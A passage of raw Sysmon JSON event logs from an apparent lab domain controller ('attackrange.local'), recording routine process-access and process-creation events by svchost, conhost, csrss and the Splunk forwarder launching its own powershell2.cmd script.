11:52:31.684","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3744,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.684\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.684","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3745,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.684\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.684","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3746,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.684\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.684","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3747,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.684\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.684","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3748,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.684\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-001086610500}\r\nTargetProcessId: 4084\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.684","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-001086610500}","TargetProcessId":"4084","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3749,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.795\r\nProcessGuid: {90617006-407F-5F2D-0000-00105E630500}\r\nProcessId: 4004\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\powershell2.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.795","ProcessGuid":"{90617006-407F-5F2D-0000-00105E630500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\powershell2.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3750,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.793\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-00105E630500}\r\nTargetProcessId: 4004\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.793","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-00105E630500}","TargetProcessId":"4004","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3751,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.793\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-00105E630500}\r\nTargetProcessId: 4004\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.793","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-00105E630500}","TargetProcessId":"4004","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3752,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.793\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 